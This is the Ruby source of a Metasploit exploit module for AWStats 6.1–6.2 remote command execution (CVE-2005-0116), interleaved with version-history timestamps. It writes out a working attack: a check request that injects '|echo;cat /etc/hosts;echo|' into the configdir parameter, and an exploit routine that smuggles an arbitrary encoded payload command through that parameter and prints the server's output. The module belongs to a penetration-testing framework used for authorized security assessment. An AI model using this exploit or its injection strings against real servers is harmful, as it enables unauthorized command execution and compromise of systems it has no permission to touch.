2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-12 01:08:18 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2007-10-30 13:22:46 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2007-01-05 04:28:32 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-01-05 04:28:32 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2007-10-30 13:22:46 +00:00
|
|
|
super(update_info(info,
|
2007-01-05 04:28:32 +00:00
|
|
|
'Name' => 'AWStats configdir Remote Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an arbitrary command execution vulnerability in the
|
2007-10-30 13:22:46 +00:00
|
|
|
AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
|
|
|
|
are vulnerable.
|
2007-01-05 04:28:32 +00:00
|
|
|
},
|
2007-03-12 01:08:18 +00:00
|
|
|
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
|
2007-01-05 04:28:32 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-01-05 04:28:32 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-05-12 19:56:54 +00:00
|
|
|
['CVE', '2005-0116'],
|
2007-01-05 04:28:32 +00:00
|
|
|
['OSVDB', '13002'],
|
|
|
|
['BID', '12298'],
|
|
|
|
['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 512,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl ruby bash telnet',
|
|
|
|
}
|
|
|
|
},
|
2007-01-05 04:28:32 +00:00
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Jan 15 2005',
|
2007-10-30 13:22:46 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => datastore['URI'],
|
2007-10-30 13:22:46 +00:00
|
|
|
'vars_get' =>
|
2007-01-05 04:28:32 +00:00
|
|
|
{
|
|
|
|
'configdir' => '|echo;cat /etc/hosts;echo|'
|
|
|
|
}
|
|
|
|
}, 25)
|
2007-10-30 13:22:46 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
if (res and res.body.match(/localhost/))
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2007-10-30 13:22:46 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2007-10-30 13:22:46 +00:00
|
|
|
command = Rex::Text.uri_encode(payload.encoded)
|
|
|
|
urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"
|
|
|
|
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => urlconfigdir,
|
|
|
|
'method' => 'GET',
|
|
|
|
'headers' =>
|
2007-01-05 04:28:32 +00:00
|
|
|
{
|
2007-10-30 13:22:46 +00:00
|
|
|
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
|
|
|
'Connection' => 'Close',
|
2007-01-05 04:28:32 +00:00
|
|
|
}
|
|
|
|
}, 25)
|
2007-10-30 13:22:46 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
if (res)
|
|
|
|
print_status("The server returned: #{res.code} #{res.message}")
|
2007-10-30 13:22:46 +00:00
|
|
|
|
|
|
|
m = res.body.match(/YYY\n(.*)\nYYY/m)
|
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
if (m)
|
|
|
|
print_status("Command output from the server:")
|
2007-10-30 13:22:46 +00:00
|
|
|
print("\n" + m[1] + "\n\n")
|
2007-01-05 04:28:32 +00:00
|
|
|
else
|
|
|
|
print_status("This server may not be vulnerable")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_status("No response from the server")
|
|
|
|
end
|
|
|
|
end
|
2007-10-30 13:22:46 +00:00
|
|
|
|
2009-05-12 19:56:54 +00:00
|
|
|
end
|